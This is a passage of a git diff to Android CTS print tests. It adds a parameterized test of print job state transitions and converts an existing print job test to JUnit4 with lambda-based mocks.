+                    WriteResultCallback callback = (WriteResultCallback) args[3];
+                    writeBlankPages(printAttributes[0], fd, 0, 1);
+                    fd.close();
+                    callback.onWriteFinished(pages);
+                    onWriteCalled();
+                    return null;
+                }, invocation -> null);
+
+        // Start printing.
+        print(adapter);
+
+        // Wait for layout.
+        waitForWriteAdapterCallback(1);
+
+        // Click the print button.
+        clickPrintButton();
+
+        // Wait for the session to be destroyed to isolate tests.
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+
+        // Check that the document name was carried over 1:1
+        eventually(() -> assertEquals(name, queuedInfo[0].getName()));
+
+        // Content type is set to document by default, but is otherwise unrestricted
+        if (contentType != null) {
+            assertEquals(contentType, Integer.valueOf(queuedInfo[0].getContentType()));
+        } else {
+            assertEquals(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT, queuedInfo[0].getContentType());
+        }
+
+        // Page count is set to the real value if unknown, 0 or unset.
+        // Otherwise the set value is used
+        if (pageCount != null && pageCount != PrintDocumentInfo.PAGE_COUNT_UNKNOWN
+                && pageCount != 0) {
+            assertEquals(pageCount, Integer.valueOf(queuedInfo[0].getPageCount()));
+        } else {
+            assertEquals(2, queuedInfo[0].getPageCount());
+        }
+
+        // Verify data (== pdf file) size
+        assertTrue(queuedInfo[0].getDataSize() > 0);
+
+        long bytesRead = 0;
+        try (FileInputStream is = new FileInputStream(queuedData[0].getFileDescriptor())) {
+            while (true) {
+                int ret = is.read();
+                if (ret == -1) {
+                    break;
+                }
+                bytesRead++;
+            }
+        }
+        assertEquals(queuedInfo[0].getDataSize(), bytesRead);
+    }
+
+    /**
+     * Test that the default values of the PrintDocumentInfo are fine.
+     *
+     * @throws Exception If anything unexpected happens
+     */
+    @Test
+    public void documentInfoNothingSet() throws Throwable {
+        printDocumentBaseTest(PRINT_JOB_NAME, null, null);
+    }
+
+    /**
+     * Test that a unknown page count is handled correctly.
+     *
+     * @throws Exception If anything unexpected happens
+     */
+    @Test
+    public void documentInfoUnknownPageCount() throws Throwable {
+        printDocumentBaseTest(PRINT_JOB_NAME, null, PrintDocumentInfo.PAGE_COUNT_UNKNOWN);
+    }
+
+    /**
+     * Test that zero page count is handled correctly.
+     *
+     * @throws Exception If anything unexpected happens
+     */
+    @Test
+    public void documentInfoZeroPageCount() throws Throwable {
+        printDocumentBaseTest(PRINT_JOB_NAME, null, 0);
+    }
+
+    /**
+     * Test that page count one is handled correctly. (The document has two pages)
+     *
+     * @throws Exception If anything unexpected happens
+     */
+    @Test
+    public void documentInfoOnePageCount() throws Throwable {
+        printDocumentBaseTest(PRINT_JOB_NAME, null, 1);
+    }
+
+    /**
+     * Test that page count three is handled correctly. (The document has two pages)
+     *
+     * @throws Exception If anything unexpected happens
+     */
+    @Test
+    public void documentInfoThreePageCount() throws Throwable {
+        printDocumentBaseTest(PRINT_JOB_NAME, null, 3);
+    }
+
+    /**
+     * Test that a photo content type is handled correctly.
+     *
+     * @throws Exception If anything unexpected happens
+     */
+    @Test
+    public void documentInfoContentTypePhoto() throws Throwable {
+        printDocumentBaseTest(PRINT_JOB_NAME, PrintDocumentInfo.CONTENT_TYPE_PHOTO, null);
+    }
+
+    /**
+     * Test that a unknown content type is handled correctly.
+     *
+     * @throws Exception If anything unexpected happens
+     */
+    @Test
+    public void documentInfoContentTypeUnknown() throws Throwable {
+        printDocumentBaseTest(PRINT_JOB_NAME, PrintDocumentInfo.CONTENT_TYPE_UNKNOWN, null);
+    }
+
+    /**
+     * Test that a undefined content type is handled correctly.
+     *
+     * @throws Exception If anything unexpected happens
+     */
+    @Test
+    public void documentInfoContentTypeNonDefined() throws Throwable {
+        printDocumentBaseTest(PRINT_JOB_NAME, -23, null);
+    }
+
+    private PrinterDiscoverySessionCallbacks createFirstMockDiscoverySessionCallbacks() {
+        return createMockPrinterDiscoverySessionCallbacks(invocation -> {
+            PrinterDiscoverySessionCallbacks mock = (PrinterDiscoverySessionCallbacks)
+                    invocation.getMock();
+
+            StubbablePrinterDiscoverySession session = mock.getSession();
+            PrintService service = session.getService();
+
+            if (session.getPrinters().isEmpty()) {
+                List<PrinterInfo> printers = new ArrayList<>();
+
+                // Add the first printer.
+                PrinterId firstPrinterId = service.generatePrinterId("first_printer");
+                PrinterCapabilitiesInfo firstCapabilities =
+                        new PrinterCapabilitiesInfo.Builder(firstPrinterId)
+                                .setMinMargins(new Margins(200, 200, 200, 200))
+                                .addMediaSize(MediaSize.ISO_A0, true)
+                                .addMediaSize(MediaSize.ISO_A5, false)
+                                .addResolution(new Resolution("300x300", "300x300", 300, 300), true)
+                                .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
+                                        PrintAttributes.COLOR_MODE_COLOR)
+                                .build();
+                PrinterInfo firstPrinter = new PrinterInfo.Builder(firstPrinterId,
+                        "First printer", PrinterInfo.STATUS_IDLE)
+                        .setCapabilities(firstCapabilities)
+                        .build();
+                printers.add(firstPrinter);
+
+                session.addPrinters(printers);
+            }
+            return null;
+        }, null, null, null, null, null, invocation -> {
+            // Take a note onDestroy was called.
+            onPrinterDiscoverySessionDestroyCalled();
+            return null;
+        });
+    }
+
+    private PrintServiceCallbacks createFirstMockPrintServiceCallbacks() {
+        final PrinterDiscoverySessionCallbacks callbacks =
+                createFirstMockDiscoverySessionCallbacks();
+        return createMockPrintServiceCallbacks(invocation -> callbacks, invocation -> {
+            PrintJob printJob = (PrintJob) invocation.getArguments()[0];
+            printJob.complete();
+            return null;
+        }, null);
+    }
+
+    private PrintServiceCallbacks createSecondMockPrintServiceCallbacks() {
+        return createMockPrintServiceCallbacks(null, null, null);
+    }
+}
diff --git a/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java b/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java
new file mode 100644
index 0000000..f0674a2
--- /dev/null
+++ b/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java
@@ -0,0 +1,376 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.cts;
+
+import android.print.PrintAttributes;
+import android.print.PrintAttributes.Margins;
+import android.print.PrintAttributes.MediaSize;
+import android.print.PrintAttributes.Resolution;
+import android.print.PrintDocumentAdapter;
+import android.print.PrintJobInfo;
+import android.print.PrinterCapabilitiesInfo;
+import android.print.PrinterId;
+import android.print.PrinterInfo;
+import android.print.cts.services.FirstPrintService;
+import android.print.cts.services.PrintServiceCallbacks;
+import android.print.cts.services.PrinterDiscoverySessionCallbacks;
+import android.print.cts.services.SecondPrintService;
+import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.printservice.PrintJob;
+import android.util.Log;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.ArrayList;
+import java.util.Collection;
+
+import static android.print.cts.Utils.eventually;
+import static org.junit.Assert.*;
+
+/**
+ * Tests all possible states of print jobs.
+ */
+@RunWith(Parameterized.class)
+public class PrintJobStateTransitionsTest extends BasePrintTest {
+    private static final String PRINTER_NAME = "TestPrinter";
+    private static final String LOG_TAG = "PrintJobStateTransTest";
+
+    /** The printer discovery session used in this test */
+    private static StubbablePrinterDiscoverySession sDiscoverySession;
+    private static boolean sHasBeenSetUp;
+
+    private final static int STATES[] = new int[] { PrintJobInfo.STATE_QUEUED,
+            PrintJobInfo.STATE_STARTED,
+            PrintJobInfo.STATE_BLOCKED,
+            PrintJobInfo.STATE_COMPLETED,
+            PrintJobInfo.STATE_FAILED,
+            PrintJobInfo.STATE_CANCELED
+    };
+
+    private final static boolean sKnownFailures[][] = new boolean[8][8];
+
+    private final int mState1;
+    private final int mState2;
+    private final int mState3;
+    private final boolean[] mTestSuccess = new boolean[1];
+
+    /**
+     * Create a mock {@link PrinterDiscoverySessionCallbacks} that discovers a simple test printer.
+     *
+     * @return The mock session callbacks
+     */
+    private PrinterDiscoverySessionCallbacks createFirstMockPrinterDiscoverySessionCallbacks() {
+        return createMockPrinterDiscoverySessionCallbacks(invocation -> {
+            // Get the session.
+            sDiscoverySession = ((PrinterDiscoverySessionCallbacks) invocation.getMock())
+                    .getSession();
+
+            if (sDiscoverySession.getPrinters().isEmpty()) {
+                PrinterId printerId =
+                        sDiscoverySession.getService().generatePrinterId(PRINTER_NAME);
+                PrinterInfo.Builder printer = new PrinterInfo.Builder(
+                        sDiscoverySession.getService().generatePrinterId(PRINTER_NAME),
+                        PRINTER_NAME, PrinterInfo.STATUS_IDLE);
+
+                printer.setCapabilities(new PrinterCapabilitiesInfo.Builder(printerId)
+                        .addMediaSize(MediaSize.ISO_A4, true)
+                        .addResolution(new Resolution("300x300", "300dpi", 300, 300), true)
+                        .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
+                                PrintAttributes.COLOR_MODE_COLOR)
+                        .setMinMargins(new Margins(0, 0, 0, 0)).build());
+
+                ArrayList<PrinterInfo> printers = new ArrayList<>(1);
+                printers.add(printer.build());
+
+                sDiscoverySession.addPrinters(printers);
+            }
+            return null;
+        }, null, null, invocation -> null, null, null, invocation -> {
+            // Take a note onDestroy was called.
+            onPrinterDiscoverySessionDestroyCalled();
+            return null;
+        });
+    }
+
+    private interface PrintJobTestFn {
+        void onPrintJobQueued(PrintJob printJob) throws Throwable;
+    }
+
+    /**
+     * Create mock service callback for a session. Once the job is queued the test function is
+     * called.
+     *
+     * @param sessionCallbacks The callbacks of the session
+     * @param printJobTest test function to call
+     */
+    private PrintServiceCallbacks createFirstMockPrinterServiceCallbacks(
+            final PrinterDiscoverySessionCallbacks sessionCallbacks,
+            final PrintJobTestFn printJobTest) {
+        return createMockPrintServiceCallbacks(
+                invocation -> sessionCallbacks, invocation -> {
+                    PrintJob printJob = (PrintJob) invocation.getArguments()[0];
+
+                    try {
+                        printJobTest.onPrintJobQueued(printJob);
+                        mTestSuccess[0] = true;
+                    } catch (Throwable t) {
+                        throw new RuntimeException(t);
+                    }
+
+                    onPrintJobQueuedCalled();
+
+                    return null;
+                }, null);
+    }
+
+    public PrintJobStateTransitionsTest(int state1, int state2, int state3) {
+        mState1 = state1;
+        mState2 = state2;
+        mState3 = state3;
+    }
+
+    private static boolean setState(PrintJob job, int state) {
+        switch (state) {
+            case PrintJobInfo.STATE_QUEUED:
+                // queue cannot be set, but is set at the beginning
+                return job.isQueued();
+            case PrintJobInfo.STATE_STARTED:
+                return job.start();
+            case PrintJobInfo.STATE_BLOCKED:
+                return job.block(null);
+            case PrintJobInfo.STATE_COMPLETED:
+                return job.complete();
+            case PrintJobInfo.STATE_FAILED:
+                return job.fail(null);
+            case PrintJobInfo.STATE_CANCELED:
+                return job.cancel();
+            default:
+                // not reached
+                throw new IllegalArgumentException("Cannot switch to " + state);
+        }
+    }
+
+    private static boolean isStateTransitionAllowed(int before, int after) {
+        switch (before) {
+            case PrintJobInfo.STATE_QUEUED:
+                switch (after) {
+                    case PrintJobInfo.STATE_QUEUED:
+                        // queued is not actually set, see setState
+                    case PrintJobInfo.STATE_STARTED:
+                    case PrintJobInfo.STATE_FAILED:
+                    case PrintJobInfo.STATE_CANCELED:
+                        return true;
+                    default:
+                        return false;
+                }
+            case PrintJobInfo.STATE_STARTED:
+                switch (after) {
+                    case PrintJobInfo.STATE_QUEUED:
+                    case PrintJobInfo.STATE_STARTED:
+                        return false;
+                    default:
+                        return true;
+                }
+            case PrintJobInfo.STATE_BLOCKED:
+                switch (after) {
+                    case PrintJobInfo.STATE_STARTED:
+                        // blocked -> started == restart
+                    case PrintJobInfo.STATE_FAILED:
+                    case PrintJobInfo.STATE_CANCELED:
+                        return true;
+                    default:
+                        return false;
+                }
+            case PrintJobInfo.STATE_COMPLETED:
+                return false;
+            case PrintJobInfo.STATE_FAILED:
+                return false;
+            case PrintJobInfo.STATE_CANCELED:
+                return false;
+            default:
+                // not reached
+                throw new IllegalArgumentException("Cannot switch from " + before);
+        }
+    }
+
+    private static void checkState(PrintJob job, int state) throws Throwable {
+        eventually(() -> assertEquals(state, job.getInfo().getState()));
+        switch (state) {
+            case PrintJobInfo.STATE_QUEUED:
+                eventually(() -> assertTrue(job.isQueued()));
+                break;
+            case PrintJobInfo.STATE_STARTED:
+                eventually(() -> assertTrue(job.isStarted()));
+                break;
+            case PrintJobInfo.STATE_BLOCKED:
+                eventually(() -> assertTrue(job.isBlocked()));
+                break;
+            case PrintJobInfo.STATE_COMPLETED:
+                eventually(() -> assertTrue(job.isCompleted()));
+                break;
+            case PrintJobInfo.STATE_FAILED:
+                eventually(() -> assertTrue(job.isFailed()));
+                break;
+            case PrintJobInfo.STATE_CANCELED:
+                eventually(() -> assertTrue(job.isCancelled()));
+                break;
+            default:
+                // not reached
+                throw new IllegalArgumentException("Cannot check " + state);
+        }
+    }
+
+    @Parameterized.Parameters
+    public static Collection<Object[]> getParameters() {
+        ArrayList<Object[]> parameters = new ArrayList<>((int)Math.pow(STATES.length, 3));
+        for (final int state1 : STATES) {
+            for (final int state2 : STATES) {
+                for (final int state3 : STATES) {
+                    // No need to test the same non-transitions twice
+                    if (state1 == state2 && state2 == state3) {
+                        continue;
+                    }
+
+                    // QUEUED does not actually set a state, see setState
+                    if (state1 == PrintJobInfo.STATE_QUEUED) {
+                        continue;
+                    }
+
+                    parameters.add(new Object[]{state1, state2, state3});
+                }
+            }
+        }
+
+        return parameters;
+    }
+
+    @Before
+    public void setPrinter() throws Exception {
+        if (!sHasBeenSetUp) {
+            createActivity();
+
+            resetCounters();
+            PrinterDiscoverySessionCallbacks sessionCallbacks
+                    = createFirstMockPrinterDiscoverySessionCallbacks();
+
+            // Create the service callbacks for the first print service.
+            PrintServiceCallbacks serviceCallbacks = createFirstMockPrinterServiceCallbacks(
+                    sessionCallbacks, printJob -> { });
+
+            // Configure the print services.
+            FirstPrintService.setCallbacks(serviceCallbacks);
+
+            // We don't use the second service, but we have to still configure it
+            SecondPrintService.setCallbacks(createMockPrintServiceCallbacks(null, null, null));
+
+            // Create a print adapter that respects the print contract.
+            PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(1);
+
+            makeDefaultPrinter(adapter, PRINTER_NAME);
+
+            sHasBeenSetUp = true;
+        }
+
+        resetCounters();
+    }
+
+    /**
+     * Base test for the print job tests. Starts a print job and executes a testFn once the job is
+     * queued.
+     *
+     * @throws Exception If anything is unexpected.
+     */
+    @Test
+    @NoActivity
+    public void stateTransitions() throws Exception {
+        // No need to repeat what previously failed
+        if(sKnownFailures[mState1][mState2] || sKnownFailures[mState2][mState3]) {
+            Log.i(LOG_TAG, "Skipped " + mState1 + " -> " + mState2 + " -> " + mState3);
+            return;
+        } else {
+            Log.i(LOG_TAG, "Test " + mState1 + " -> " + mState2 + " -> " + mState3);
+            if (getActivity() == null) {
+                createActivity();
+            }
+        }
+
+        // Create the session of the printers that we will be checking.
+        PrinterDiscoverySessionCallbacks sessionCallbacks
+                = createFirstMockPrinterDiscoverySessionCallbacks();
+
+        // Create the service callbacks for the first print service.
+        PrintServiceCallbacks serviceCallbacks = createFirstMockPrinterServiceCallbacks(
+                sessionCallbacks, printJob -> {
+                    sKnownFailures[PrintJobInfo.STATE_QUEUED][mState1] = true;
+
+                    boolean success = setState(printJob, mState1);
+                    assertEquals(isStateTransitionAllowed(PrintJobInfo.STATE_QUEUED,
+                            mState1), success);
+                    if (!success) {
+                        return;
+                    }
+                    checkState(printJob, mState1);
+
+                    sKnownFailures[PrintJobInfo.STATE_QUEUED][mState1] = false;
+
+                    sKnownFailures[mState1][mState2] = true;
+
+                    success = setState(printJob, mState2);
+                    assertEquals(isStateTransitionAllowed(mState1, mState2), success);
+                    if (!success) {
+                        return;
+                    }
+                    checkState(printJob, mState2);
+
+                    sKnownFailures[mState1][mState2] = false;
+
+                    sKnownFailures[mState2][mState3] = true;
+
+                    success = setState(printJob, mState3);
+                    assertEquals(isStateTransitionAllowed(mState2, mState3), success);
+                    if (!success) {
+                        return;
+                    }
+                    checkState(printJob, mState3);
+
+                    sKnownFailures[mState2][mState3] = false;
+                });
+
+        // Configure the print services.
+        FirstPrintService.setCallbacks(serviceCallbacks);
+
+        // We don't use the second service, but we have to still configure it
+        SecondPrintService.setCallbacks(createMockPrintServiceCallbacks(null, null, null));
+
+        // Create a print adapter that respects the print contract.
+        PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(1);
+
+        // Start printing.
+        print(adapter);
+        clickPrintButton();
+
+        // Wait for print job to be queued
+        waitForServiceOnPrintJobQueuedCallbackCalled(1);
+
+        // Wait for discovery session to be destroyed to isolate tests from each other
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+
+        assertTrue(mTestSuccess[0]);
+    }
+}
diff --git a/tests/tests/print/src/android/print/cts/PrintJobTest.java b/tests/tests/print/src/android/print/cts/PrintJobTest.java
index b0f3742e..f3081fb 100644
--- a/tests/tests/print/src/android/print/cts/PrintJobTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintJobTest.java
@@ -16,17 +16,13 @@
 
 package android.print.cts;
 
-import android.os.ParcelFileDescriptor;
-import android.print.PageRange;
 import android.print.PrintAttributes;
 import android.print.PrintAttributes.Margins;
 import android.print.PrintAttributes.MediaSize;
 import android.print.PrintAttributes.Resolution;
 import android.print.PrintDocumentAdapter;
-import android.print.PrintDocumentAdapter.LayoutResultCallback;
-import android.print.PrintDocumentAdapter.WriteResultCallback;
-import android.print.PrintDocumentInfo;
 import android.print.PrintJobInfo;
+import android.print.PrintManager;
 import android.print.PrinterCapabilitiesInfo;
 import android.print.PrinterId;
 import android.print.PrinterInfo;
@@ -37,27 +33,21 @@
 import android.print.cts.services.SecondPrintService;
 import android.print.cts.services.StubbablePrinterDiscoverySession;
 import android.printservice.PrintJob;
-import android.support.test.uiautomator.UiObject;
-import android.support.test.uiautomator.UiSelector;
-import android.util.Log;
-import org.mockito.invocation.InvocationOnMock;
-import org.mockito.stubbing.Answer;
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.ArrayList;
 
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertNotNull;
-import static junit.framework.Assert.assertNull;
-import static junit.framework.Assert.assertTrue;
-import static junit.framework.Assert.assertFalse;
-
+import static android.print.cts.Utils.eventually;
+import static org.junit.Assert.*;
 
 /**
  * Tests all possible states of print jobs.
  */
+@RunWith(AndroidJUnit4.class)
 public class PrintJobTest extends BasePrintTest {
-    private static final String LOG_TAG = "PrintJobTest";
-
     private static final String PRINTER_NAME = "TestPrinter";
 
     private final static String VALID_NULL_KEY = "validNullKey";
@@ -71,53 +61,8 @@
     private final boolean testSuccess[] = new boolean[1];
 
     /** The printer discovery session used in this test */
-    private static StubbablePrinterDiscoverySession mDiscoverySession;
-
-    /**
-     * Create a mock {@link PrintDocumentAdapter} that provides one empty page.
-     *
-     * @return The mock adapter
-     */
-    private PrintDocumentAdapter createMockPrintDocumentAdapter() {
-        final PrintAttributes[] printAttributes = new PrintAttributes[1];
-
-        return createMockPrintDocumentAdapter(
-                new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) throws Throwable {
-                        printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
-                        LayoutResultCallback callback = (LayoutResultCallback) invocation
-                                .getArguments()[3];
-
-                        PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
-                                .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
-                                .setPageCount(1)
-                                .build();
-
-                        callback.onLayoutFinished(info, false);
-                        return null;
-                    }
-                }, new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) throws Throwable {
-                        Object[] args = invocation.getArguments();
-                        PageRange[] pages = (PageRange[]) args[0];
-                        ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
-                        WriteResultCallback callback = (WriteResultCallback) args[3];
-
-                        writeBlankPages(printAttributes[0], fd, pages[0].getStart(),
-                                pages[0].getEnd());
-                        fd.close();
-                        callback.onWriteFinished(pages);
-                        return null;
-                    }
-                }, new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) throws Throwable {
-                        return null;
-                    }
-                });
-    }
+    private static StubbablePrinterDiscoverySession sDiscoverySession;
+    private static boolean sHasBeenSetUp;
 
     /**
      * Create a mock {@link PrinterDiscoverySessionCallbacks} that discovers a simple test printer.
@@ -125,51 +70,40 @@
      * @return The mock session callbacks
      */
     private PrinterDiscoverySessionCallbacks createFirstMockPrinterDiscoverySessionCallbacks() {
-        return createMockPrinterDiscoverySessionCallbacks(new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) {
-                // Get the session.
-                mDiscoverySession = ((PrinterDiscoverySessionCallbacks) invocation.getMock())
-                        .getSession();
+        return createMockPrinterDiscoverySessionCallbacks(invocation -> {
+            // Get the session.
+            sDiscoverySession = ((PrinterDiscoverySessionCallbacks) invocation.getMock())
+                    .getSession();
 
-                if (mDiscoverySession.getPrinters().isEmpty()) {
-                    PrinterId printerId =
-                            mDiscoverySession.getService().generatePrinterId(PRINTER_NAME);
-                    PrinterInfo.Builder printer = new PrinterInfo.Builder(
-                            mDiscoverySession.getService().generatePrinterId(PRINTER_NAME),
-                            PRINTER_NAME, PrinterInfo.STATUS_IDLE);
+            if (sDiscoverySession.getPrinters().isEmpty()) {
+                PrinterId printerId =
+                        sDiscoverySession.getService().generatePrinterId(PRINTER_NAME);
+                PrinterInfo.Builder printer = new PrinterInfo.Builder(
+                        sDiscoverySession.getService().generatePrinterId(PRINTER_NAME),
+                        PRINTER_NAME, PrinterInfo.STATUS_IDLE);
 
-                    printer.setCapabilities(new PrinterCapabilitiesInfo.Builder(printerId)
-                            .addMediaSize(MediaSize.ISO_A4, true)
-                            .addResolution(new Resolution("300x300", "300dpi", 300, 300), true)
-                            .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
-                                    PrintAttributes.COLOR_MODE_COLOR)
-                            .setMinMargins(new Margins(0, 0, 0, 0)).build());
+                printer.setCapabilities(new PrinterCapabilitiesInfo.Builder(printerId)
+                        .addMediaSize(MediaSize.ISO_A4, true)
+                        .addResolution(new Resolution("300x300", "300dpi", 300, 300), true)
+                        .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
+                                PrintAttributes.COLOR_MODE_COLOR)
+                        .setMinMargins(new Margins(0, 0, 0, 0)).build());
 
-                    ArrayList<PrinterInfo> printers = new ArrayList<>(1);
-                    printers.add(printer.build());
+                ArrayList<PrinterInfo> printers = new ArrayList<>(1);
+                printers.add(printer.build());
 
-                    mDiscoverySession.addPrinters(printers);
-                }
-                return null;
+                sDiscoverySession.addPrinters(printers);
             }
-        }, null, null, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                return null;
-            }
-        }, null, null, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Take a note onDestroy was called.
-                onPrinterDiscoverySessionDestroyCalled();
-                return null;
-            }
+            return null;
+        }, null, null, invocation -> null, null, null, invocation -> {
+            // Take a note onDestroy was called.
+            onPrinterDiscoverySessionDestroyCalled();
+            return null;
         });
     }
 
     private interface PrintJobTestFn {
-        void onPrintJobQueued(PrintJob printJob) throws Exception;
+        void onPrintJobQueued(PrintJob printJob) throws Throwable;
     }
 
     /**
@@ -183,57 +117,20 @@
             final PrinterDiscoverySessionCallbacks sessionCallbacks,
             final PrintJobTestFn printJobTest) {
         return createMockPrintServiceCallbacks(
-                new Answer<PrinterDiscoverySessionCallbacks>() {
-                    @Override
-                    public PrinterDiscoverySessionCallbacks answer(InvocationOnMock invocation) {
-                        return sessionCallbacks;
-                    }
-                }, new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) {
-                        PrintJob printJob = (PrintJob) invocation.getArguments()[0];
+                invocation -> sessionCallbacks, invocation -> {
+                    PrintJob printJob = (PrintJob) invocation.getArguments()[0];
 
-                        try {
-                            printJobTest.onPrintJobQueued(printJob);
-                            testSuccess[0] = true;
-                        } catch (Exception e) {
-                            Log.e(LOG_TAG, "Test function failed", e);
-                        }
-
-                        onPrintJobQueuedCalled();
-
-                        return null;
-                    }
-                }, null);
-    }
-
-    /**
-     * Make sure that a runnable eventually finishes without throwing a exception.
-     *
-     * @param r The runnable to run.
-     */
-    private static void eventually(Runnable r) {
-        final long TIMEOUT_MILLS = 5000;
-        long start = System.currentTimeMillis();
-
-        while (true) {
-            try {
-                r.run();
-                break;
-            } catch (Exception e) {
-                if (System.currentTimeMillis() - start < TIMEOUT_MILLS) {
-                    Log.e(LOG_TAG, "Ignoring exception as we know that the print spooler does " +
-                            "not guarantee to process commands in order", e);
                     try {
-                        Thread.sleep(100);
-                    } catch (InterruptedException e1) {
-                        Log.e(LOG_TAG, "Interrupted", e);
+                        printJobTest.onPrintJobQueued(printJob);
+                        testSuccess[0] = true;
+                    } catch (Throwable t) {
+                        throw new RuntimeException(t);
                     }
-                } else {
-                    throw e;
-                }
-            }
-        }
+
+                    onPrintJobQueuedCalled();
+
+                    return null;
+                }, null);
     }
 
     /**
@@ -242,12 +139,8 @@
      *
      * @throws Exception If anything is unexpected.
      */
-    private void baseTest(PrintJobTestFn testFn, int testCaseNum)
+    private void baseTest(PrintJobTestFn testFn)
             throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
-
         testSuccess[0] = false;
 
         // Create the session of the printers that we will be checking.
@@ -265,23 +158,14 @@
         SecondPrintService.setCallbacks(createMockPrintServiceCallbacks(null, null, null));
 
         // Create a print adapter that respects the print contract.
-        PrintDocumentAdapter adapter = createMockPrintDocumentAdapter();
+        PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(1);
 
         // Start printing.
         print(adapter);
-
-        if (testCaseNum == 0) {
-            selectPrinter(PRINTER_NAME);
-        }
-
         clickPrintButton();
 
-        if (testCaseNum == 0) {
-            answerPrintServicesWarning(true);
-        }
-
         // Wait for print job to be queued
-        waitForServiceOnPrintJobQueuedCallbackCalled(testCaseNum + 1);
+        waitForServiceOnPrintJobQueuedCallbackCalled(1);
 
         // Wait for discovery session to be destroyed to isolate tests from each other
         waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
@@ -291,71 +175,7 @@
         }
     }
 
-    private static boolean setState(PrintJob job, int state) {
-        switch (state) {
-            case PrintJobInfo.STATE_QUEUED:
-                // queue cannot be set, but is set at the beginning
-                return job.isQueued();
-            case PrintJobInfo.STATE_STARTED:
-                return job.start();
-            case PrintJobInfo.STATE_BLOCKED:
-                return job.block(null);
-            case PrintJobInfo.STATE_COMPLETED:
-                return job.complete();
-            case PrintJobInfo.STATE_FAILED:
-                return job.fail(null);
-            case PrintJobInfo.STATE_CANCELED:
-                return job.cancel();
-            default:
-                // not reached
-                throw new IllegalArgumentException("Cannot switch to " + state);
-        }
-    }
-
-    private static boolean isStateTransitionAllowed(int before, int after) {
-        switch (before) {
-            case PrintJobInfo.STATE_QUEUED:
-                switch (after) {
-                    case PrintJobInfo.STATE_QUEUED:
-                        // queued is not actually set, see setState
-                    case PrintJobInfo.STATE_STARTED:
-                    case PrintJobInfo.STATE_FAILED:
-                    case PrintJobInfo.STATE_CANCELED:
-                        return true;
-                    default:
-                        return false;
-                }
-            case PrintJobInfo.STATE_STARTED:
-                switch (after) {
-                    case PrintJobInfo.STATE_QUEUED:
-                    case PrintJobInfo.STATE_STARTED:
-                        return false;
-                    default:
-                        return true;
-                }
-            case PrintJobInfo.STATE_BLOCKED:
-                switch (after) {
-                    case PrintJobInfo.STATE_STARTED:
-                        // blocked -> started == restart
-                    case PrintJobInfo.STATE_FAILED:
-                    case PrintJobInfo.STATE_CANCELED:
-                        return true;
-                    default:
-                        return false;
-                }
-            case PrintJobInfo.STATE_COMPLETED:
-                return false;
-            case PrintJobInfo.STATE_FAILED:
-                return false;
-            case PrintJobInfo.STATE_CANCELED:
-                return false;
-            default:
-                // not reached
-                throw new IllegalArgumentException("Cannot switch from " + before);
-        }
-    }
-
-    private static void checkState(PrintJob job, int state) {
+    private static void checkState(PrintJob job, int state) throws Throwable {
         eventually(() -> assertEquals(state, job.getInfo().getState()));
         switch (state) {
             case PrintJobInfo.STATE_QUEUED:
@@ -382,158 +202,98 @@
         }
     }
 
-    public void testStateTransitions() throws Exception {
-        int states[] = new int[] { PrintJobInfo.STATE_QUEUED,
-                PrintJobInfo.STATE_STARTED,
-                PrintJobInfo.STATE_BLOCKED,
-                PrintJobInfo.STATE_COMPLETED,
-                PrintJobInfo.STATE_FAILED,
-                PrintJobInfo.STATE_CANCELED
-        };
+    @Before
+    public void setPrinter() throws Exception {
+        if (!sHasBeenSetUp) {
+            resetCounters();
+            PrinterDiscoverySessionCallbacks sessionCallbacks
+                    = createFirstMockPrinterDiscoverySessionCallbacks();
 
-        final boolean knownFailures[][] = new boolean[8][8];
+            // Create the service callbacks for the first print service.
+            PrintServiceCallbacks serviceCallbacks = createFirstMockPrinterServiceCallbacks(
+                    sessionCallbacks, printJob -> { });
 
-        int testCaseNum = 0;
+            // Configure the print services.
+            FirstPrintService.setCallbacks(serviceCallbacks);
 
-        for (final int state1 : states) {
-            for (final int state2 : states) {
-                for (final int state3 : states) {
-                    // No need to test the same non-transitions twice
-                    if (state1 == state2 && state2 == state3) {
-                        continue;
-                    }
